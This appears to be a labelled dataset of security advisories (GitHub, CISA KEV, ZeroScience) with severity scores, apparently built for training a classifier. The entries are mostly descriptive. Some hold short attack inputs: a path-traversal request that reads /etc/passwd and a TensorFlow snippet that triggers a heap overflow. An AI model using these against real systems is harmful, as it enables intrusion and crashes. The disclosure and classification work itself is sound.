-{"id": "e1ea0d0e4c81ffb3ee53", "text": "Cross-site Scripting in ammonia\n\nAn issue was discovered in the ammonia crate before 3.1.0 for Rust. XSS can occur because the parsing differences for HTML, SVG, and MathML are mishandled, a similar issue to CVE-2020-26870.", "text_raw": "Cross-site Scripting in ammonia\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the ammonia crate before 3.1.0 for Rust. XSS can occur because the parsing differences for HTML, SVG, and MathML are mishandled, a similar issue to CVE-2020-26870.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "0105067a92e96a26d872", "text": "Directory Traversal in dgard8.lab6\n\nAffected versions of `dgard8.lab6` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in dgard8.lab6\n\n[Severity: HIGH]\n\nAffected versions of `dgard8.lab6` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "fc6adb40aac22bc39296", "text": "Segfault while copying constant resource tensor\n\n### Impact\nDuring TensorFlow's Grappler optimizer phase, constant folding might attempt to deep copy a resource tensor. This results in a segfault, as these tensors are supposed to not change.\n\n### Patches\nWe have patched the issue in GitHub commit [7731e8dfbe4a56773be5dc94d631611211156659](https://github.com/tensorflow/tensorflow/commit/7731e8dfbe4a56773be5dc94d631611211156659).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions", "text_raw": "Segfault while copying constant resource tensor\n\n[Severity: MEDIUM]\n\n### Impact\nDuring TensorFlow's Grappler optimizer phase, constant folding might attempt to deep copy a resource tensor. This results in a segfault, as these tensors are supposed to not change.\n\n### Patches\nWe have patched the issue in GitHub commit [7731e8dfbe4a56773be5dc94d631611211156659](https://github.com/tensorflow/tensorflow/commit/7731e8dfbe4a56773be5dc94d631611211156659).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n    \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "37080090f10ea031f3c2", "text": "Express Burn Plus v4.58 EBP Project File Handling Buffer Overflow PoC", "text_raw": "Express Burn Plus v4.58 EBP Project File Handling Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-08-28", "split": "train"}
-{"id": "24a4a41361db9eba480a", "text": "Cisco HyperFlex HX Installer Virtual Machine Command Injection Vulnerability\n\nAffected: Cisco HyperFlex HX\n\nCisco HyperFlex HX Installer Virtual Machine contains an insufficient input validation vulnerability which could allow an attacker to execute commands on an affected device as the root user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Cisco HyperFlex HX Installer Virtual Machine Command Injection Vulnerability\n\nAffected: Cisco HyperFlex HX\n\nCisco HyperFlex HX Installer Virtual Machine contains an insufficient input validation vulnerability which could allow an attacker to execute commands on an affected device as the root user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "1d04f1d898cee20e1526", "text": "Insecure Default Configuration in redbird\n\nVersions of `redbird` prior to 0.9.1 have a vulnerable default configuration of allowing TLS 1.0 connections on `lib/proxy.js`. The package does not provide an option to disable TLS 1.0 which is deprecated and vulnerable.\n\n## Recommendation\n\nUpgrade to version 0.9.1 or later.", "text_raw": "Insecure Default Configuration in redbird\n\n[Severity: MEDIUM]\n\nVersions of `redbird` prior to 0.9.1 have a vulnerable default configuration of allowing TLS 1.0 connections on `lib/proxy.js`. The package does not provide an option to disable TLS 1.0 which is deprecated and vulnerable.\n\n\n## Recommendation\n\nUpgrade to version 0.9.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-06", "split": "train"}
-{"id": "224d172b0e38142c1c75", "text": "Malicious Package in jquerz\n\nVersion 1.0.1 of `jquerz` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in jquerz\n\n[Severity: CRITICAL]\n\nVersion 1.0.1 of `jquerz` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "53a5beb0ad95899f25a0", "text": "net-ldap Improper Certificate Validation vulnerability\n\nThe Net::LDAP (aka net-ldap) gem before 0.16.0 for Ruby has Missing SSL Certificate Validation.", "text_raw": "net-ldap Improper Certificate Validation vulnerability\n\n[Severity: MEDIUM]\n\nThe Net::LDAP (aka net-ldap) gem before 0.16.0 for Ruby has Missing SSL Certificate Validation.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-01-06", "split": "train"}
-{"id": "a880dcced682240897e0", "text": "OmniAuth-SAML authentication bypass via incorrect XML canonicalization and DOM traversal\n\nOmniAuth OmniAuth-SAML 1.9.0 and earlier may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.", "text_raw": "OmniAuth-SAML authentication bypass via incorrect XML canonicalization and DOM traversal\n\n[Severity: HIGH]\n\nOmniAuth OmniAuth-SAML 1.9.0 and earlier may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "a9fc7f7153b33cdce213", "text": "Malicious Package in dictum.js\n\nVersion 1.0.5 of `dictum.js` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.0.5 of this module is found installed you will want to replace it with a version before or after 1.0.5. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.4", "text_raw": "Malicious Package in dictum.js\n\n[Severity: CRITICAL]\n\nVersion 1.0.5 of `dictum.js` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 1.0.5 of this module is found installed you will want to replace it with a version before or after 1.0.5. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.4", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "cb0ece8b396b0ffc075d", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Weak Default WiFi Password Algorithm", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Weak Default WiFi Password Algorithm\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "fea7218fdf2800a56626", "text": "IBM System Storage DS Storage Manager Profiler Multiple Vulnerabilities", "text_raw": "IBM System Storage DS Storage Manager Profiler Multiple Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-06-20", "split": "train"}
-{"id": "e4e6884c60effdfa0f74", "text": "Prototype pollution in controlled-merge\n\nPrototype pollution vulnerability in 'controlled-merge' versions 1.0.0 through 1.2.0 allows attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution in controlled-merge\n\n[Severity: HIGH]\n\nPrototype pollution vulnerability in 'controlled-merge' versions 1.0.0 through 1.2.0 allows attacker to cause a denial of service and may lead to remote code execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "612720390fcd5003e13d", "text": "XML external entity expansion in org.apache.solr:solr-core\n\nThis vulnerability in Apache Solr 6.0.0 to 6.6.4 and 7.0.0 to 7.3.1 relates to an XML external entity expansion (XXE) in Solr config files (currency.xml, enumsConfig.xml referred from schema.xml, TIKA parsecontext config file). In addition, Xinclude functionality provided in these config files is also affected in a similar way. The vulnerability can be used as XXE using file/ftp/http protocols in order to read arbitrary local files from the Solr server or the internal network. The manipulated files can be uploaded as configsets using Solr's API, allowing to exploit that vulnerability.", "text_raw": "XML external entity expansion in org.apache.solr:solr-core\n\n[Severity: MEDIUM]\n\nThis vulnerability in Apache Solr 6.0.0 to 6.6.4 and 7.0.0 to 7.3.1 relates to an XML external entity expansion (XXE) in Solr config files (currency.xml, enumsConfig.xml referred from schema.xml, TIKA parsecontext config file). In addition, Xinclude functionality provided in these config files is also affected in a similar way. The vulnerability can be used as XXE using file/ftp/http protocols in order to read arbitrary local files from the Solr server or the internal network. The manipulated files can be uploaded as configsets using Solr's API, allowing to exploit that vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "ed5a90dffd67c4e043e0", "text": "axios Inefficient Regular Expression Complexity vulnerability\n\naxios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.", "text_raw": "axios Inefficient Regular Expression Complexity vulnerability\n\n[Severity: HIGH]\n\naxios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "ccbe7c45a839e7635e8b", "text": "InfraPower PPS-02-S Q213V1 Local File Disclosure Vulnerability", "text_raw": "InfraPower PPS-02-S Q213V1 Local File Disclosure Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-10-28", "split": "train"}
-{"id": "7b849df01b73c9b81a7c", "text": "Active Record subject to Regular Expression Denial-of-Service (ReDoS)\n\nThe PostgreSQL adapter in Active Record before 6.1.2.1, 6.0.3.5, 5.2.4.5 suffers from a regular expression denial of service (REDoS) vulnerability. Carefully crafted input can cause the input validation in the `money` type of the PostgreSQL adapter in Active Record to spend too much time in a regular expression, resulting in the potential for a DoS attack. This only impacts Rails applications that are using PostgreSQL along with money type columns that take user input.", "text_raw": "Active Record subject to Regular Expression Denial-of-Service (ReDoS)\n\n[Severity: HIGH]\n\nThe PostgreSQL adapter in Active Record before 6.1.2.1, 6.0.3.5, 5.2.4.5 suffers from a regular expression denial of service (REDoS) vulnerability. Carefully crafted input can cause the input validation in the `money` type of the PostgreSQL adapter in Active Record to spend too much time in a regular expression, resulting in the potential for a DoS attack. This only impacts Rails applications that are using PostgreSQL along with money type columns that take user input.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-02", "split": "train"}
-{"id": "9b86307a3f3eed65c2ed", "text": "Adobe Acrobat and Reader Use-After-Free Vulnerability\n\nAffected: Adobe Acrobat and Reader\n\nAdobe Acrobat and Reader contains a use-after-free vulnerability that could allow an unauthenticated attacker to achieve code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Adobe Acrobat and Reader Use-After-Free Vulnerability\n\nAffected: Adobe Acrobat and Reader\n\nAdobe Acrobat and Reader contains a use-after-free vulnerability that could allow an unauthenticated attacker to achieve code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "3fe5a5f73aeb4fd4309f", "text": "phpservermon is vulnerable to CRLF Injection\n\nphpservermon is vulnerable to Improper Neutralization of CRLF Sequences.", "text_raw": "phpservermon is vulnerable to CRLF Injection\n\n[Severity: MEDIUM]\n\nphpservermon is vulnerable to Improper Neutralization of CRLF Sequences.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "e4846c030c3798e73035", "text": "Server-Side Request Forgery in Spinnaker Orca\n\nThe Spinnaker template resolution functionality is vulnerable to Server-Side Request Forgery (SSRF), which allows an attacker to send requests on behalf of Spinnaker potentially leading to sensitive data disclosure.", "text_raw": "Server-Side Request Forgery in Spinnaker Orca\n\n[Severity: HIGH]\n\nThe Spinnaker template resolution functionality is vulnerable to Server-Side Request Forgery (SSRF), which allows an attacker to send requests on behalf of Spinnaker potentially leading to sensitive data disclosure.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "f290c880ad2ec3fe3cd4", "text": "ZeroCMS 1.0 (article_id) SQL Injection Vulnerability", "text_raw": "ZeroCMS 1.0 (article_id) SQL Injection Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-06-09", "split": "train"}
-{"id": "a1b86847cbe05b29f646", "text": "It was found that keycloak before 3.4.2 final would permit misuse of a client-side /etc/hosts entry to spoof a URL in a password reset request. An attacker could use this flaw to craft a malicious password reset request and gain a valid reset token, leading to information disclosure or further attacks.", "text_raw": "Moderate severity vulnerability that affects org.keycloak:keycloak-core\n\n[Severity: MEDIUM]\n\nIt was found that keycloak before 3.4.2 final would permit misuse of a client-side /etc/hosts entry to spoof a URL in a password reset request. An attacker could use this flaw to craft a malicious password reset request and gain a valid reset token, leading to information disclosure or further attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "9ce7bd1447aabd91d30e", "text": "Divide By Zero in OpenCV.\n\nAn issue was discovered in OpenCV 4.1.0 (OpenCV-Python 4.1.0.25). There is a divide-by-zero error in cv::HOGDescriptor::getDescriptorSize in modules/objdetect/src/hog.cpp.", "text_raw": "Divide By Zero in OpenCV.\n\n[Severity: MEDIUM]\n\nAn issue was discovered in OpenCV 4.1.0 (OpenCV-Python 4.1.0.25). There is a divide-by-zero error in cv::HOGDescriptor::getDescriptorSize in modules/objdetect/src/hog.cpp.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "4e42a636ae58c4a28779", "text": "Prototype Pollution in field\n\nPrototype pollution vulnerability in 'field' versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype Pollution in field\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'field' versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "bc310c47d2bc6935b82d", "text": "Heap buffer overflow in `QuantizedReshape`\n\n### Impact\nAn attacker can cause a heap buffer overflow in `QuantizedReshape` by passing in invalid thresholds for the quantization:\n\n```python\nimport tensorflow as tf\n\ntensor = tf.constant([], dtype=tf.qint32)\nshape = tf.constant([], dtype=tf.int32)\ninput_min = tf.constant([], dtype=tf.float32)\ninput_max = tf.constant([], dtype=tf.float32)\n\ntf.raw_ops.QuantizedReshape(tensor=tensor, shape=shape, input_min=input_min, input_max=input_max)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/a324ac84e573fba362a5e53d4e74d5de6729933e/tensorflow/core/kernels/quantized_reshape_op.cc#L38-L55) assumes that the 2 arguments are always valid scalars and tries to access the numeric value directly:\n\n```cc\nconst auto& input_min_float_tensor = ctx->input(2);\n...\nconst float input_min_float = input_min_float_tensor.flat<float>()(0);\nconst auto& input_max_float_tensor = ctx->input(3);\n...\nconst float input_max_float = input_max_float_tensor.flat<float>()(0);\n```\n\nHowever, if any of these tensors is empty, then `.flat<T>()` is an empty buffer and accessing the element at position 0 results in overflow.\n\n### Patches\nWe have patched the issue in GitHub commit [a324ac84e573fba362a5e53d4e74d5de6729933e](https://github.com/tensorflow/tensorflow/commit/a324ac84e573fba362a5e53d4e74d5de6729933e).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `QuantizedReshape`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a heap buffer overflow in `QuantizedReshape` by passing in invalid thresholds for the quantization:\n\n```python\nimport tensorflow as tf\n\ntensor = tf.constant([], dtype=tf.qint32)\nshape = tf.constant([], dtype=tf.int32)\ninput_min = tf.constant([], dtype=tf.float32)\ninput_max = tf.constant([], dtype=tf.float32)\n\ntf.raw_ops.QuantizedReshape(tensor=tensor, shape=shape, input_min=input_min, input_max=input_max)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/a324ac84e573fba362a5e53d4e74d5de6729933e/tensorflow/core/kernels/quantized_reshape_op.cc#L38-L55) assumes that the 2 arguments are always valid scalars and tries to access the numeric value directly:\n\n```cc\nconst auto& input_min_float_tensor = ctx->input(2);\n...\nconst float input_min_float = input_min_float_tensor.flat<float>()(0);\nconst auto& input_max_float_tensor = ctx->input(3);\n...\nconst float input_max_float = input_max_float_tensor.flat<float>()(0);\n```\n\nHowever, if any of these tensors is empty, then `.flat<T>()` is an empty buffer and accessing the element at position 0 results in overflow.\n\n### Patches\nWe have patched the issue in GitHub commit [a324ac84e573fba362a5e53d4e74d5de6729933e](https://github.com/tensorflow/tensorflow/commit/a324ac84e573fba362a5e53d4e74d5de6729933e).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "4c9c160720a3ae24360e", "text": "Monstra 1.2.1 Multiple HTML Injection Vulnerabilities", "text_raw": "Monstra 1.2.1 Multiple HTML Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-08-23", "split": "train"}
-{"id": "a1277c76131cd5996a09", "text": "Incorrect Default Permissions in keyring\n\nPython keyring lib before 0.10 created keyring files with world-readable permissions.", "text_raw": "Incorrect Default Permissions in keyring\n\n[Severity: HIGH]\n\nPython keyring lib before 0.10 created keyring files with world-readable permissions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-11", "split": "train"}
-{"id": "ae2b6f398fbee66b78e7", "text": "Insecure template handling in haml-coffee\n\nhaml-coffee is a JavaScript templating solution. haml-coffee mixes pure template data with engine configuration options through the Express render API. More specifically, haml-coffee supports overriding a series of HTML helper functions through its configuration options. A vulnerable application that passes user controlled request objects to the haml-coffee template engine may introduce RCE vulnerabilities. Additionally control over the escapeHtml parameter through template configuration pollution ensures that haml-coffee would not sanitize template inputs that may result in reflected Cross Site Scripting attacks against downstream applications. There is currently no fix for these issues as of the publication of this CVE. The latest version of haml-coffee is currently 1.14.1. For complete details refer to the referenced GHSL-2021-025.", "text_raw": "Insecure template handling in haml-coffee\n\n[Severity: HIGH]\n\nhaml-coffee is a JavaScript templating solution. haml-coffee mixes pure template data with engine configuration options through the Express render API. More specifically, haml-coffee supports overriding a series of HTML helper functions through its configuration options. A vulnerable application that passes user controlled request objects to the haml-coffee template engine may introduce RCE vulnerabilities. Additionally control over the escapeHtml parameter through template configuration pollution ensures that haml-coffee would not sanitize template inputs that may result in reflected Cross Site Scripting attacks against downstream applications. There is currently no fix for these issues as of the publication of this CVE. The latest version of haml-coffee is currently 1.14.1. For complete details refer to the referenced GHSL-2021-025.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "c560977c74f306b0fa84", "text": "Keycloak vulnerable to uncontrolled resource consumption\n\nJBoss KeyCloak versions prior to 1.0.3.Final allow remote attackers to create a denial of service (resource consumption) by supplying a large value in the size parameter to auth/qrcode, related to QR code generation.", "text_raw": "Keycloak vulnerable to uncontrolled resource consumption\n\n[Severity: HIGH]\n\nJBoss KeyCloak versions prior to 1.0.3.Final allow remote attackers to create a denial of service (resource consumption) by supplying a large value in the size parameter to auth/qrcode, related to QR code generation.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "45c0a0ab98828e70f4c4", "text": "Directory Traversal in lab6.brit95\n\nAffected versions of `lab6.brit95` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in lab6.brit95\n\n[Severity: HIGH]\n\nAffected versions of `lab6.brit95` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "0306ab43729b904621a4", "text": "Shallow copy bug in geth\n\n### Impact\nThis is a Consensus vulnerability, which can be used to cause a chain-split where vulnerable nodes reject the canonical chain.\n\nGeth’s pre-compiled `dataCopy` (at `0x00...04`) contract did a shallow copy on invocation. An attacker could deploy a contract that\n\n- writes `X` to an EVM memory region `R`,\n- calls `0x00..04` with `R` as an argument,\n- overwrites `R` to `Y`,\n- and finally invokes the `RETURNDATACOPY` opcode.\n\nWhen this contract is invoked, a consensus-compliant node would push `X` on the EVM stack, whereas Geth would push `Y`.\n\n### Patches\n\nNo standalone patches have been made.\n\n### Workarounds\n\nUpgrade to `1.9.17` or higher.\n\n### References\n\nhttps://blog.ethereum.org/2020/11/12/geth_security_release/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)", "text_raw": "Shallow copy bug in geth\n\n[Severity: MEDIUM]\n\n### Impact\nThis is a Consensus vulnerability, which can be used to cause a chain-split where vulnerable nodes reject the canonical chain. \n\nGeth’s pre-compiled `dataCopy` (at `0x00...04`) contract did a shallow copy on invocation. An attacker could deploy a contract that \n\n- writes `X` to an EVM memory region `R`,\n- calls `0x00..04` with `R` as an argument,\n- overwrites `R` to `Y`,\n- and finally invokes the `RETURNDATACOPY` opcode.\n\nWhen this contract is invoked, a consensus-compliant node would push `X` on the EVM stack, whereas Geth would push `Y`.\n\n\n### Patches\n\nNo standalone patches have been made. \n\n### Workarounds\n\nUpgrade to `1.9.17` or higher.\n\n### References\n\nhttps://blog.ethereum.org/2020/11/12/geth_security_release/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "1fab0b2837e848bf6ea6", "text": "XML External Entity attack in log4net\n\nApache log4net before 2.0.10 does not disable XML external entities when parsing log4net configuration files. This could allow for XXE-based attacks in applications that accept arbitrary configuration files from users.", "text_raw": "XML External Entity attack in log4net\n\n[Severity: CRITICAL]\n\nApache log4net before 2.0.10 does not disable XML external entities when parsing log4net configuration files. This could allow for XXE-based attacks in applications that accept arbitrary configuration files from users.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "b788d0d2d84262f087f0", "text": "newrelic_rpm Gem Discloses Sensitive Information\n\nRuby agent 3.2.0 through 3.5.3.23 serializes sensitive data when communicating with servers operated by New Relic, which allows remote attackers to obtain sensitive information (database credentials and SQL statements) by sniffing the network and deserializing the data.", "text_raw": "newrelic_rpm Gem Discloses Sensitive Information\n\n[Severity: MEDIUM]\n\nRuby agent 3.2.0 through 3.5.3.23 serializes sensitive data when communicating with servers operated by New Relic, which allows remote attackers to obtain sensitive information (database credentials and SQL statements) by sniffing the network and deserializing the data.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "340d62039fc958845ffd", "text": "Croos-site scripting in Croogo\n\nCroogo before 3.0.7 allows XSS via the title to admin/menus/menus or admin/taxonomy/vocabularies.", "text_raw": "Croos-site scripting in Croogo\n\n[Severity: LOW]\n\nCroogo before 3.0.7 allows XSS via the title to admin/menus/menus or admin/taxonomy/vocabularies.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "fb5eb4aa4a1b8f2441fa", "text": "Spring Batch versions 3.0.9, 4.0.1, 4.1.0, and older unsupported versions, were susceptible to XML External Entity Injection (XXE) when receiving XML data from untrusted sources.", "text_raw": "Low severity vulnerability that affects org.springframework.batch:spring-batch-core\n\n[Severity: LOW]\n\nSpring Batch versions 3.0.9, 4.0.1, 4.1.0, and older unsupported versions, were susceptible to XML External Entity Injection (XXE) when receiving XML data from untrusted sources.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-01-25", "split": "train"}
-{"id": "8d01b40928da235da79a", "text": "Prototype Pollution in deeps\n\nAll versions of package deeps up to and including version 1.4.5 are vulnerable to Prototype Pollution via the set function.", "text_raw": "Prototype Pollution in deeps\n\n[Severity: CRITICAL]\n\nAll versions of package deeps up to and including version 1.4.5 are vulnerable to Prototype Pollution via the set function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "68c35be7f4aee08a6476", "text": "Improper permission handling in Apache Solr\n\nWhen starting Apache Solr versions prior to 8.8.2, configured with the SaslZkACLProvider or VMParamsAllAndReadonlyDigestZkACLProvider and no existing security.json znode, if the optional read-only user is configured then Solr would not treat that node as a sensitive path and would allow it to be readable. Additionally, with any ZkACLProvider, if the security.json is already present, Solr will not automatically update the ACLs.", "text_raw": "Improper permission handling in Apache Solr\n\n[Severity: HIGH]\n\nWhen starting Apache Solr versions prior to 8.8.2, configured with the SaslZkACLProvider or VMParamsAllAndReadonlyDigestZkACLProvider and no existing security.json znode, if the optional read-only user is configured then Solr would not treat that node as a sensitive path and would allow it to be readable. Additionally, with any ZkACLProvider, if the security.json is already present, Solr will not automatically update the ACLs.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "ac3e19b0e7bab4939605", "text": "EDraw Flowchart ActiveX Control 2.3 (.edd parsing) Remote Buffer Overflow PoC", "text_raw": "EDraw Flowchart ActiveX Control 2.3 (.edd parsing) Remote Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-04-22", "split": "train"}
